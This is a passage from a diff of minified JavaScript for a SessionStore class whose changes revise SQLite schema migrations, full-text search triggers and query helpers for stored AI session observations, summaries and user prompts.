idx_session_summaries_created ON session_summaries(created_at_epoch DESC); - `),this.db.run("COMMIT"),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(7,new Date().toISOString()),console.log("[SessionStore] Successfully removed UNIQUE constraint from session_summaries.sdk_session_id")}catch(n){throw this.db.run("ROLLBACK"),n}}catch(e){console.error("[SessionStore] Migration error (remove UNIQUE constraint):",e.message)}}addObservationHierarchicalFields(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(8))return;if(this.db.query("PRAGMA table_info(observations)").all().some(n=>n.name==="title")){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(8,new Date().toISOString());return}console.log("[SessionStore] Adding hierarchical fields to observations table..."),this.db.run(` - ALTER TABLE observations ADD COLUMN title TEXT; - ALTER TABLE observations ADD COLUMN subtitle TEXT; - ALTER TABLE observations ADD COLUMN facts TEXT; - ALTER TABLE observations ADD COLUMN narrative TEXT; - ALTER TABLE observations ADD COLUMN concepts TEXT; - ALTER TABLE observations ADD COLUMN files_read TEXT; - ALTER TABLE observations ADD COLUMN files_modified TEXT; - `),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(8,new Date().toISOString()),console.log("[SessionStore] Successfully added hierarchical fields to observations table")}catch(e){console.error("[SessionStore] Migration error (add hierarchical fields):",e.message)}}makeObservationsTextNullable(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(9))return;let t=this.db.query("PRAGMA table_info(observations)").all().find(n=>n.name==="text");if(!t||t.notnull===0){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(9,new Date().toISOString());return}console.log("[SessionStore] Making observations.text nullable..."),this.db.run("BEGIN TRANSACTION");try{this.db.run(` - CREATE TABLE observations_new ( - id INTEGER PRIMARY KEY AUTOINCREMENT, - sdk_session_id TEXT NOT NULL, - project TEXT NOT NULL, - text TEXT, - type TEXT NOT NULL CHECK(type IN ('decision', 'bugfix', 'feature', 'refactor', 'discovery', 'change')), - title TEXT, - subtitle TEXT, - facts TEXT, - narrative TEXT, - concepts TEXT, - files_read TEXT, - files_modified TEXT, - prompt_number INTEGER, - created_at TEXT NOT NULL, - created_at_epoch INTEGER NOT NULL, - FOREIGN KEY(sdk_session_id) REFERENCES sdk_sessions(sdk_session_id) ON DELETE CASCADE - ) - `),this.db.run(` - INSERT INTO observations_new - SELECT id, sdk_session_id, project, text, type, title, subtitle, facts, - narrative, concepts, files_read, files_modified, prompt_number, - created_at, created_at_epoch - FROM observations - `),this.db.run("DROP TABLE observations"),this.db.run("ALTER TABLE observations_new RENAME TO observations"),this.db.run(` - CREATE INDEX idx_observations_sdk_session ON observations(sdk_session_id); - CREATE INDEX idx_observations_project ON observations(project); - CREATE INDEX idx_observations_type ON observations(type); - CREATE INDEX idx_observations_created ON observations(created_at_epoch DESC); - `),this.db.run("COMMIT"),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(9,new Date().toISOString()),console.log("[SessionStore] Successfully made observations.text nullable")}catch(n){throw this.db.run("ROLLBACK"),n}}catch(e){console.error("[SessionStore] Migration error (make text nullable):",e.message)}}createUserPromptsTable(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(10))return;if(this.db.query("PRAGMA table_info(user_prompts)").all().length>0){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(10,new Date().toISOString());return}console.log("[SessionStore] Creating user_prompts table with FTS5 support..."),this.db.run("BEGIN TRANSACTION");try{this.db.run(` - CREATE TABLE user_prompts ( - id INTEGER PRIMARY KEY AUTOINCREMENT, - claude_session_id TEXT NOT NULL, - prompt_number INTEGER NOT NULL, - prompt_text TEXT NOT NULL, - created_at TEXT NOT NULL, - created_at_epoch INTEGER NOT NULL, - FOREIGN KEY(claude_session_id) REFERENCES sdk_sessions(claude_session_id) ON DELETE CASCADE - ); + `),this.db.prepare("INSERT INTO schema_versions (version, applied_at) VALUES (?, ?)").run(4,new Date().toISOString()),console.log("[SessionStore] Migration004 applied successfully"))}catch(e){throw console.error("[SessionStore] Schema initialization error:",e.message),e}}ensureWorkerPortColumn(){if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(5))return;this.db.query("PRAGMA table_info(sdk_sessions)").all().some(n=>n.name==="worker_port")||(this.db.run("ALTER TABLE sdk_sessions ADD COLUMN worker_port INTEGER"),console.log("[SessionStore] Added worker_port column to sdk_sessions table")),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(5,new Date().toISOString())}ensurePromptTrackingColumns(){if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(6))return;this.db.query("PRAGMA table_info(sdk_sessions)").all().some(p=>p.name==="prompt_counter")||(this.db.run("ALTER TABLE sdk_sessions ADD COLUMN prompt_counter INTEGER DEFAULT 0"),console.log("[SessionStore] Added prompt_counter column to sdk_sessions table")),this.db.query("PRAGMA table_info(observations)").all().some(p=>p.name==="prompt_number")||(this.db.run("ALTER TABLE observations ADD COLUMN prompt_number INTEGER"),console.log("[SessionStore] Added prompt_number column to observations table")),this.db.query("PRAGMA table_info(session_summaries)").all().some(p=>p.name==="prompt_number")||(this.db.run("ALTER TABLE session_summaries ADD COLUMN prompt_number INTEGER"),console.log("[SessionStore] Added prompt_number column to session_summaries table")),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(6,new Date().toISOString())}removeSessionSummariesUniqueConstraint(){if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(7))return;if(!this.db.query("PRAGMA index_list(session_summaries)").all().some(n=>n.unique===1)){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(7,new Date().toISOString());return}console.log("[SessionStore] Removing UNIQUE constraint from session_summaries.sdk_session_id..."),this.db.run("BEGIN TRANSACTION");try{this.db.run(` + CREATE TABLE session_summaries_new ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + sdk_session_id TEXT NOT NULL, + project TEXT NOT NULL, + request TEXT, + investigated TEXT, + learned TEXT, + completed TEXT, + next_steps TEXT, + files_read TEXT, + files_edited TEXT, + notes TEXT, + prompt_number INTEGER, + created_at TEXT NOT NULL, + created_at_epoch INTEGER NOT NULL, + FOREIGN KEY(sdk_session_id) REFERENCES sdk_sessions(sdk_session_id) ON DELETE CASCADE + ) + `),this.db.run(` + INSERT INTO session_summaries_new + SELECT id, sdk_session_id, project, request, investigated, learned, + completed, next_steps, files_read, files_edited, notes, + prompt_number, created_at, created_at_epoch + FROM session_summaries + `),this.db.run("DROP TABLE session_summaries"),this.db.run("ALTER TABLE session_summaries_new RENAME TO session_summaries"),this.db.run(` + CREATE INDEX idx_session_summaries_sdk_session ON session_summaries(sdk_session_id); + CREATE INDEX idx_session_summaries_project ON session_summaries(project); + CREATE INDEX idx_session_summaries_created ON session_summaries(created_at_epoch DESC); + `),this.db.run("COMMIT"),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(7,new Date().toISOString()),console.log("[SessionStore] Successfully removed UNIQUE constraint from session_summaries.sdk_session_id")}catch(n){throw this.db.run("ROLLBACK"),n}}addObservationHierarchicalFields(){if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(8))return;if(this.db.query("PRAGMA table_info(observations)").all().some(n=>n.name==="title")){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(8,new Date().toISOString());return}console.log("[SessionStore] Adding hierarchical fields to observations table..."),this.db.run(` + ALTER TABLE observations ADD COLUMN title TEXT; + ALTER TABLE observations ADD COLUMN subtitle TEXT; + ALTER TABLE observations ADD COLUMN facts TEXT; + ALTER TABLE observations ADD COLUMN narrative TEXT; + ALTER TABLE observations ADD COLUMN concepts TEXT; + ALTER TABLE observations ADD COLUMN files_read TEXT; + ALTER TABLE observations ADD COLUMN files_modified TEXT; + `),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(8,new Date().toISOString()),console.log("[SessionStore] Successfully added hierarchical fields to observations table")}makeObservationsTextNullable(){if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(9))return;let t=this.db.query("PRAGMA table_info(observations)").all().find(n=>n.name==="text");if(!t||t.notnull===0){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(9,new Date().toISOString());return}console.log("[SessionStore] Making observations.text nullable..."),this.db.run("BEGIN TRANSACTION");try{this.db.run(` + CREATE TABLE observations_new ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + sdk_session_id TEXT NOT NULL, + project TEXT NOT NULL, + text TEXT, + type TEXT NOT NULL CHECK(type IN ('decision', 'bugfix', 'feature', 'refactor', 'discovery', 'change')), + title TEXT, + subtitle TEXT, + facts TEXT, + narrative TEXT, + concepts TEXT, + files_read TEXT, + files_modified TEXT, + prompt_number INTEGER, + created_at TEXT NOT NULL, + created_at_epoch INTEGER NOT NULL, + FOREIGN KEY(sdk_session_id) REFERENCES sdk_sessions(sdk_session_id) ON DELETE CASCADE + ) + `),this.db.run(` + INSERT INTO observations_new + SELECT id, sdk_session_id, project, text, type, title, subtitle, facts, + narrative, concepts, files_read, files_modified, prompt_number, + created_at, created_at_epoch + FROM observations + `),this.db.run("DROP TABLE observations"),this.db.run("ALTER TABLE observations_new RENAME TO observations"),this.db.run(` + CREATE INDEX idx_observations_sdk_session ON observations(sdk_session_id); + CREATE INDEX idx_observations_project ON observations(project); + CREATE INDEX idx_observations_type ON observations(type); + CREATE INDEX idx_observations_created ON observations(created_at_epoch DESC); + `),this.db.run("COMMIT"),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(9,new Date().toISOString()),console.log("[SessionStore] Successfully made observations.text nullable")}catch(n){throw this.db.run("ROLLBACK"),n}}createUserPromptsTable(){if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(10))return;if(this.db.query("PRAGMA table_info(user_prompts)").all().length>0){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(10,new Date().toISOString());return}console.log("[SessionStore] Creating user_prompts table with FTS5 support..."),this.db.run("BEGIN TRANSACTION");try{this.db.run(` + CREATE TABLE user_prompts ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + claude_session_id TEXT NOT NULL, + prompt_number INTEGER NOT NULL, + prompt_text TEXT NOT NULL, + created_at TEXT NOT NULL, + created_at_epoch INTEGER NOT NULL, + FOREIGN KEY(claude_session_id) REFERENCES sdk_sessions(claude_session_id) ON DELETE CASCADE + ); - CREATE INDEX idx_user_prompts_claude_session ON user_prompts(claude_session_id); - CREATE INDEX idx_user_prompts_created ON user_prompts(created_at_epoch DESC); - CREATE INDEX idx_user_prompts_prompt_number ON user_prompts(prompt_number); - CREATE INDEX idx_user_prompts_lookup ON user_prompts(claude_session_id, prompt_number); - `),this.db.run(` - CREATE VIRTUAL TABLE user_prompts_fts USING fts5( - prompt_text, - content='user_prompts', - content_rowid='id' - ); - `),this.db.run(` - CREATE TRIGGER user_prompts_ai AFTER INSERT ON user_prompts BEGIN - INSERT INTO user_prompts_fts(rowid, prompt_text) - VALUES (new.id, new.prompt_text); - END; + CREATE INDEX idx_user_prompts_claude_session ON user_prompts(claude_session_id); + CREATE INDEX idx_user_prompts_created ON user_prompts(created_at_epoch DESC); + CREATE INDEX idx_user_prompts_prompt_number ON user_prompts(prompt_number); + CREATE INDEX idx_user_prompts_lookup ON user_prompts(claude_session_id, prompt_number); + `),this.db.run(` + CREATE VIRTUAL TABLE user_prompts_fts USING fts5( + prompt_text, + content='user_prompts', + content_rowid='id' + ); + `),this.db.run(` + CREATE TRIGGER user_prompts_ai AFTER INSERT ON user_prompts BEGIN + INSERT INTO user_prompts_fts(rowid, prompt_text) + VALUES (new.id, new.prompt_text); + END; - CREATE TRIGGER user_prompts_ad AFTER DELETE ON user_prompts BEGIN - INSERT INTO user_prompts_fts(user_prompts_fts, rowid, prompt_text) - VALUES('delete', old.id, old.prompt_text); - END; + CREATE TRIGGER user_prompts_ad AFTER DELETE ON user_prompts BEGIN + INSERT INTO user_prompts_fts(user_prompts_fts, rowid, prompt_text) + VALUES('delete', old.id, old.prompt_text); + END; - CREATE TRIGGER user_prompts_au AFTER UPDATE ON user_prompts BEGIN - INSERT INTO user_prompts_fts(user_prompts_fts, rowid, prompt_text) - VALUES('delete', old.id, old.prompt_text); - INSERT INTO user_prompts_fts(rowid, prompt_text) - VALUES (new.id, new.prompt_text); - END; - `),this.db.run("COMMIT"),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(10,new Date().toISOString()),console.log("[SessionStore] Successfully created user_prompts table with FTS5 support")}catch(t){throw this.db.run("ROLLBACK"),t}}catch(e){console.error("[SessionStore] Migration error (create user_prompts table):",e.message)}}ensureDiscoveryTokensColumn(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(11))return;this.db.query("PRAGMA table_info(observations)").all().some(d=>d.name==="discovery_tokens")||(this.db.run("ALTER TABLE observations ADD COLUMN discovery_tokens INTEGER DEFAULT 0"),console.log("[SessionStore] Added discovery_tokens column to observations table")),this.db.query("PRAGMA table_info(session_summaries)").all().some(d=>d.name==="discovery_tokens")||(this.db.run("ALTER TABLE session_summaries ADD COLUMN discovery_tokens INTEGER DEFAULT 0"),console.log("[SessionStore] Added discovery_tokens column to session_summaries table")),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(11,new Date().toISOString())}catch(e){throw console.error("[SessionStore] Discovery tokens migration error:",e.message),e}}createPendingMessagesTable(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(16))return;if(this.db.query("SELECT name FROM sqlite_master WHERE type='table' AND name='pending_messages'").all().length>0){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(16,new Date().toISOString());return}console.log("[SessionStore] Creating pending_messages table..."),this.db.run(` + CREATE TRIGGER user_prompts_au AFTER UPDATE ON user_prompts BEGIN + INSERT INTO user_prompts_fts(user_prompts_fts, rowid, prompt_text) + VALUES('delete', old.id, old.prompt_text); + INSERT INTO user_prompts_fts(rowid, prompt_text) + VALUES (new.id, new.prompt_text); + END; + `),this.db.run("COMMIT"),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(10,new Date().toISOString()),console.log("[SessionStore] Successfully created user_prompts table with FTS5 support")}catch(t){throw this.db.run("ROLLBACK"),t}}ensureDiscoveryTokensColumn(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(11))return;this.db.query("PRAGMA table_info(observations)").all().some(a=>a.name==="discovery_tokens")||(this.db.run("ALTER TABLE observations ADD COLUMN discovery_tokens INTEGER DEFAULT 0"),console.log("[SessionStore] Added discovery_tokens column to observations table")),this.db.query("PRAGMA table_info(session_summaries)").all().some(a=>a.name==="discovery_tokens")||(this.db.run("ALTER TABLE session_summaries ADD COLUMN discovery_tokens INTEGER DEFAULT 0"),console.log("[SessionStore] Added discovery_tokens column to session_summaries table")),this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(11,new Date().toISOString())}catch(e){throw console.error("[SessionStore] Discovery tokens migration error:",e.message),e}}createPendingMessagesTable(){try{if(this.db.prepare("SELECT version FROM schema_versions WHERE version = ?").get(16))return;if(this.db.query("SELECT name FROM sqlite_master WHERE type='table' AND name='pending_messages'").all().length>0){this.db.prepare("INSERT OR IGNORE INTO schema_versions (version, applied_at) VALUES (?, ?)").run(16,new Date().toISOString());return}console.log("[SessionStore] Creating pending_messages table..."),this.db.run(` CREATE TABLE pending_messages ( id INTEGER PRIMARY KEY AUTOINCREMENT, session_db_id INTEGER NOT NULL, @@ -275,13 +275,13 @@ ${e.stack}`:e.message;if(Array.isArray(e))return`[${e.length} items]`;let s=Obje SELECT * FROM observations WHERE id = ? - `).get(e)||null}getObservationsByIds(e,s={}){if(e.length===0)return[];let{orderBy:t="date_desc",limit:n,project:i,type:d,concepts:c,files:_}=s,u=t==="date_asc"?"ASC":"DESC",l=n?`LIMIT ${n}`:"",E=e.map(()=>"?").join(","),b=[...e],T=[];if(i&&(T.push("project = ?"),b.push(i)),d)if(Array.isArray(d)){let r=d.map(()=>"?").join(",");T.push(`type IN (${r})`),b.push(...d)}else T.push("type = ?"),b.push(d);if(c){let r=Array.isArray(c)?c:[c],N=r.map(()=>"EXISTS (SELECT 1 FROM json_each(concepts) WHERE value = ?)");b.push(...r),T.push(`(${N.join(" OR ")})`)}if(_){let r=Array.isArray(_)?_:[_],N=r.map(()=>"(EXISTS (SELECT 1 FROM json_each(files_read) WHERE value LIKE ?) OR EXISTS (SELECT 1 FROM json_each(files_modified) WHERE value LIKE ?))");r.forEach(O=>{b.push(`%${O}%`,`%${O}%`)}),T.push(`(${N.join(" OR ")})`)}let I=T.length>0?`WHERE id IN (${E}) AND ${T.join(" AND ")}`:`WHERE id IN (${E})`;return this.db.prepare(` + `).get(e)||null}getObservationsByIds(e,s={}){if(e.length===0)return[];let{orderBy:t="date_desc",limit:n,project:i,type:a,concepts:c,files:p}=s,u=t==="date_asc"?"ASC":"DESC",l=n?`LIMIT ${n}`:"",E=e.map(()=>"?").join(","),R=[...e],T=[];if(i&&(T.push("project = ?"),R.push(i)),a)if(Array.isArray(a)){let r=a.map(()=>"?").join(",");T.push(`type IN (${r})`),R.push(...a)}else T.push("type = ?"),R.push(a);if(c){let r=Array.isArray(c)?c:[c],I=r.map(()=>"EXISTS (SELECT 1 FROM json_each(concepts) WHERE value = ?)");R.push(...r),T.push(`(${I.join(" OR ")})`)}if(p){let r=Array.isArray(p)?p:[p],I=r.map(()=>"(EXISTS (SELECT 1 FROM json_each(files_read) WHERE value LIKE ?) OR EXISTS (SELECT 1 FROM json_each(files_modified) WHERE value LIKE ?))");r.forEach(O=>{R.push(`%${O}%`,`%${O}%`)}),T.push(`(${I.join(" OR ")})`)}let A=T.length>0?`WHERE id IN (${E}) AND ${T.join(" AND ")}`:`WHERE id IN (${E})`;return this.db.prepare(` SELECT * FROM observations - ${I} + ${A} ORDER BY created_at_epoch ${u} ${l} - `).all(...b)}getSummaryForSession(e){return this.db.prepare(` + `).all(...R)}getSummaryForSession(e){return this.db.prepare(` SELECT request, investigated, learned, completed, next_steps, files_read, files_edited, notes, prompt_number, created_at @@ -293,7 +293,7 @@ ${e.stack}`:e.message;if(Array.isArray(e))return`[${e.length} items]`;let s=Obje SELECT files_read, files_modified FROM observations WHERE sdk_session_id = ? - `).all(e),n=new Set,i=new Set;for(let d of t){if(d.files_read)try{let c=JSON.parse(d.files_read);Array.isArray(c)&&c.forEach(_=>n.add(_))}catch{}if(d.files_modified)try{let c=JSON.parse(d.files_modified);Array.isArray(c)&&c.forEach(_=>i.add(_))}catch{}}return{filesRead:Array.from(n),filesModified:Array.from(i)}}getSessionById(e){return this.db.prepare(` + `).all(e),n=new Set,i=new Set;for(let a of t){if(a.files_read){let c=JSON.parse(a.files_read);Array.isArray(c)&&c.forEach(p=>n.add(p))}if(a.files_modified){let c=JSON.parse(a.files_modified);Array.isArray(c)&&c.forEach(p=>i.add(p))}}return{filesRead:Array.from(n),filesModified:Array.from(i)}}getSessionById(e){return this.db.prepare(` SELECT id, claude_session_id, sdk_session_id, project, user_prompt FROM sdk_sessions WHERE id = ? @@ -340,7 +340,7 @@ ${e.stack}`:e.message;if(Array.isArray(e))return`[${e.length} items]`;let s=Obje UPDATE sdk_sessions SET sdk_session_id = ? WHERE id = ? AND sdk_session_id IS NULL - `).run(s,e).changes===0?(A.debug("DB","sdk_session_id already set, skipping update",{sessionId:e,sdkSessionId:s}),!1):!0}setWorkerPort(e,s){this.db.prepare(` + `).run(s,e).changes===0?(h.debug("DB","sdk_session_id already set, skipping update",{sessionId:e,sdkSessionId:s}),!1):!0}setWorkerPort(e,s){this.db.prepare(` UPDATE sdk_sessions SET worker_port = ? WHERE id = ? @@ -358,29 +358,29 @@ ${e.stack}`:e.message;if(Array.isArray(e))return`[${e.length} items]`;let s=Obje FROM user_prompts WHERE claude_session_id = ? AND prompt_number = ? LIMIT 1 - `).get(e,s)?.prompt_text??null}storeObservation(e,s,t,n,i=0){let d=new Date,c=d.getTime();this.db.prepare(` + `).get(e,s)?.prompt_text??null}storeObservation(e,s,t,n,i=0){let a=new Date,c=a.getTime();this.db.prepare(` SELECT id FROM sdk_sessions WHERE sdk_session_id = ? `).get(e)||(this.db.prepare(` INSERT INTO sdk_sessions (claude_session_id, sdk_session_id, project, started_at, started_at_epoch, status) VALUES (?, ?, ?, ?, ?, 'active') - `).run(e,e,s,d.toISOString(),c),console.log(`[SessionStore] Auto-created session record for session_id: ${e}`));let E=this.db.prepare(` + `).run(e,e,s,a.toISOString(),c),console.log(`[SessionStore] Auto-created session record for session_id: ${e}`));let E=this.db.prepare(` INSERT INTO observations (sdk_session_id, project, type, title, subtitle, facts, narrative, concepts, files_read, files_modified, prompt_number, discovery_tokens, created_at, created_at_epoch) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) - `).run(e,s,t.type,t.title,t.subtitle,JSON.stringify(t.facts),t.narrative,JSON.stringify(t.concepts),JSON.stringify(t.files_read),JSON.stringify(t.files_modified),n||null,i,d.toISOString(),c);return{id:Number(E.lastInsertRowid),createdAtEpoch:c}}storeSummary(e,s,t,n,i=0){let d=new Date,c=d.getTime();this.db.prepare(` + `).run(e,s,t.type,t.title,t.subtitle,JSON.stringify(t.facts),t.narrative,JSON.stringify(t.concepts),JSON.stringify(t.files_read),JSON.stringify(t.files_modified),n||null,i,a.toISOString(),c);return{id:Number(E.lastInsertRowid),createdAtEpoch:c}}storeSummary(e,s,t,n,i=0){let a=new Date,c=a.getTime();this.db.prepare(` SELECT id FROM sdk_sessions WHERE sdk_session_id = ? `).get(e)||(this.db.prepare(` INSERT INTO sdk_sessions (claude_session_id, sdk_session_id, project, started_at, started_at_epoch, status) VALUES (?, ?, ?, ?, ?, 'active') - `).run(e,e,s,d.toISOString(),c),console.log(`[SessionStore] Auto-created session record for session_id: ${e}`));let E=this.db.prepare(` + `).run(e,e,s,a.toISOString(),c),console.log(`[SessionStore] Auto-created session record for session_id: ${e}`));let E=this.db.prepare(` INSERT INTO session_summaries (sdk_session_id, project, request, investigated, learned, completed, next_steps, notes, prompt_number, discovery_tokens, created_at, created_at_epoch) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) - `).run(e,s,t.request,t.investigated,t.learned,t.completed,t.next_steps,t.notes,n||null,i,d.toISOString(),c);return{id:Number(E.lastInsertRowid),createdAtEpoch:c}}markSessionCompleted(e){let s=new Date,t=s.getTime();this.db.prepare(` + `).run(e,s,t.request,t.investigated,t.learned,t.completed,t.next_steps,t.notes,n||null,i,a.toISOString(),c);return{id:Number(E.lastInsertRowid),createdAtEpoch:c}}markSessionCompleted(e){let s=new Date,t=s.getTime();this.db.prepare(` UPDATE sdk_sessions SET status = 'completed', completed_at = ?, completed_at_epoch = ? WHERE id = ? @@ -388,62 +388,62 @@ ${e.stack}`:e.message;if(Array.isArray(e))return`[${e.length} items]`;let s=Obje UPDATE sdk_sessions SET status = 'failed', completed_at = ?, completed_at_epoch = ? WHERE id = ? - `).run(s.toISOString(),t,e)}getSessionSummariesByIds(e,s={}){if(e.length===0)return[];let{orderBy:t="date_desc",limit:n,project:i}=s,d=t==="date_asc"?"ASC":"DESC",c=n?`LIMIT ${n}`:"",_=e.map(()=>"?").join(","),u=[...e],l=i?`WHERE id IN (${_}) AND project = ?`:`WHERE id IN (${_})`;return i&&u.push(i),this.db.prepare(` + `).run(s.toISOString(),t,e)}getSessionSummariesByIds(e,s={}){if(e.length===0)return[];let{orderBy:t="date_desc",limit:n,project:i}=s,a=t==="date_asc"?"ASC":"DESC",c=n?`LIMIT ${n}`:"",p=e.map(()=>"?").join(","),u=[...e],l=i?`WHERE id IN (${p}) AND project = ?`:`WHERE id IN (${p})`;return i&&u.push(i),this.db.prepare(` SELECT * FROM session_summaries ${l} - ORDER BY created_at_epoch ${d} + ORDER BY created_at_epoch ${a} ${c} - `).all(...u)}getUserPromptsByIds(e,s={}){if(e.length===0)return[];let{orderBy:t="date_desc",limit:n,project:i}=s,d=t==="date_asc"?"ASC":"DESC",c=n?`LIMIT ${n}`:"",_=e.map(()=>"?").join(","),u=[...e],l=i?"AND s.project = ?":"";return i&&u.push(i),this.db.prepare(` + `).all(...u)}getUserPromptsByIds(e,s={}){if(e.length===0)return[];let{orderBy:t="date_desc",limit:n,project:i}=s,a=t==="date_asc"?"ASC":"DESC",c=n?`LIMIT ${n}`:"",p=e.map(()=>"?").join(","),u=[...e],l=i?"AND s.project = ?":"";return i&&u.push(i),this.db.prepare(` SELECT up.*, s.project, s.sdk_session_id FROM user_prompts up JOIN sdk_sessions s ON up.claude_session_id = s.claude_session_id - WHERE up.id IN (${_}) ${l} - ORDER BY up.created_at_epoch ${d} + WHERE up.id IN (${p}) ${l} + ORDER BY up.created_at_epoch ${a} ${c} - `).all(...u)}getTimelineAroundTimestamp(e,s=10,t=10,n){return this.getTimelineAroundObservation(null,e,s,t,n)}getTimelineAroundObservation(e,s,t=10,n=10,i){let d=i?"AND project = ?":"",c=i?[i]:[],_,u;if(e!==null){let T=` + `).all(...u)}getTimelineAroundTimestamp(e,s=10,t=10,n){return this.getTimelineAroundObservation(null,e,s,t,n)}getTimelineAroundObservation(e,s,t=10,n=10,i){let a=i?"AND project = ?":"",c=i?[i]:[],p,u;if(e!==null){let T=` SELECT id, created_at_epoch FROM observations - WHERE id <= ? ${d} + WHERE id <= ? ${a} ORDER BY id DESC LIMIT ? - `,I=` + `,A=` SELECT id, created_at_epoch FROM observations - WHERE id >= ? ${d} + WHERE id >= ? ${a} ORDER BY id ASC LIMIT ? - `;try{let g=this.db.prepare(T).all(e,...c,t+1),r=this.db.prepare(I).all(e,...c,n+1);if(g.length===0&&r.length===0)return{observations:[],sessions:[],prompts:[]};_=g.length>0?g[g.length-1].created_at_epoch:s,u=r.length>0?r[r.length-1].created_at_epoch:s}catch(g){return console.error("[SessionStore] Error getting boundary observations:",g.message,i?`(project: ${i})`:"(all projects)"),{observations:[],sessions:[],prompts:[]}}}else{let T=` + `;try{let g=this.db.prepare(T).all(e,...c,t+1),r=this.db.prepare(A).all(e,...c,n+1);if(g.length===0&&r.length===0)return{observations:[],sessions:[],prompts:[]};p=g.length>0?g[g.length-1].created_at_epoch:s,u=r.length>0?r[r.length-1].created_at_epoch:s}catch(g){return console.error("[SessionStore] Error getting boundary observations:",g.message,i?`(project: ${i})`:"(all projects)"),{observations:[],sessions:[],prompts:[]}}}else{let T=` SELECT created_at_epoch FROM observations - WHERE created_at_epoch <= ? ${d} + WHERE created_at_epoch <= ? ${a} ORDER BY created_at_epoch DESC LIMIT ? - `,I=` + `,A=` SELECT created_at_epoch FROM observations - WHERE created_at_epoch >= ? ${d} + WHERE created_at_epoch >= ? ${a} ORDER BY created_at_epoch ASC LIMIT ? - `;try{let g=this.db.prepare(T).all(s,...c,t),r=this.db.prepare(I).all(s,...c,n+1);if(g.length===0&&r.length===0)return{observations:[],sessions:[],prompts:[]};_=g.length>0?g[g.length-1].created_at_epoch:s,u=r.length>0?r[r.length-1].created_at_epoch:s}catch(g){return console.error("[SessionStore] Error getting boundary timestamps:",g.message,i?`(project: ${i})`:"(all projects)"),{observations:[],sessions:[],prompts:[]}}}let l=` + `;try{let g=this.db.prepare(T).all(s,...c,t),r=this.db.prepare(A).all(s,...c,n+1);if(g.length===0&&r.length===0)return{observations:[],sessions:[],prompts:[]};p=g.length>0?g[g.length-1].created_at_epoch:s,u=r.length>0?r[r.length-1].created_at_epoch:s}catch(g){return console.error("[SessionStore] Error getting boundary timestamps:",g.message,i?`(project: ${i})`:"(all projects)"),{observations:[],sessions:[],prompts:[]}}}let l=` SELECT * FROM observations - WHERE created_at_epoch >= ? AND created_at_epoch <= ? ${d} + WHERE created_at_epoch >= ? AND created_at_epoch <= ? ${a} ORDER BY created_at_epoch ASC `,E=` SELECT * FROM session_summaries - WHERE created_at_epoch >= ? AND created_at_epoch <= ? ${d} + WHERE created_at_epoch >= ? AND created_at_epoch <= ? ${a} ORDER BY created_at_epoch ASC - `,b=` + `,R=` SELECT up.*, s.project, s.sdk_session_id FROM user_prompts up JOIN sdk_sessions s ON up.claude_session_id = s.claude_session_id - WHERE up.created_at_epoch >= ? AND up.created_at_epoch <= ? ${d.replace("project","s.project")} + WHERE up.created_at_epoch >= ? AND up.created_at_epoch <= ? ${a.replace("project","s.project")} ORDER BY up.created_at_epoch ASC - `;try{let T=this.db.prepare(l).all(_,u,...c),I=this.db.prepare(E).all(_,u,...c),g=this.db.prepare(b).all(_,u,...c);return{observations:T,sessions:I.map(r=>({id:r.id,sdk_session_id:r.sdk_session_id,project:r.project,request:r.request,completed:r.completed,next_steps:r.next_steps,created_at:r.created_at,created_at_epoch:r.created_at_epoch})),prompts:g.map(r=>({id:r.id,claude_session_id:r.claude_session_id,prompt_number:r.prompt_number,prompt_text:r.prompt_text,project:r.project,created_at:r.created_at,created_at_epoch:r.created_at_epoch}))}}catch(T){return console.error("[SessionStore] Error querying timeline records:",T.message,i?`(project: ${i})`:"(all projects)"),{observations:[],sessions:[],prompts:[]}}}getPromptById(e){return this.db.prepare(` + `;try{let 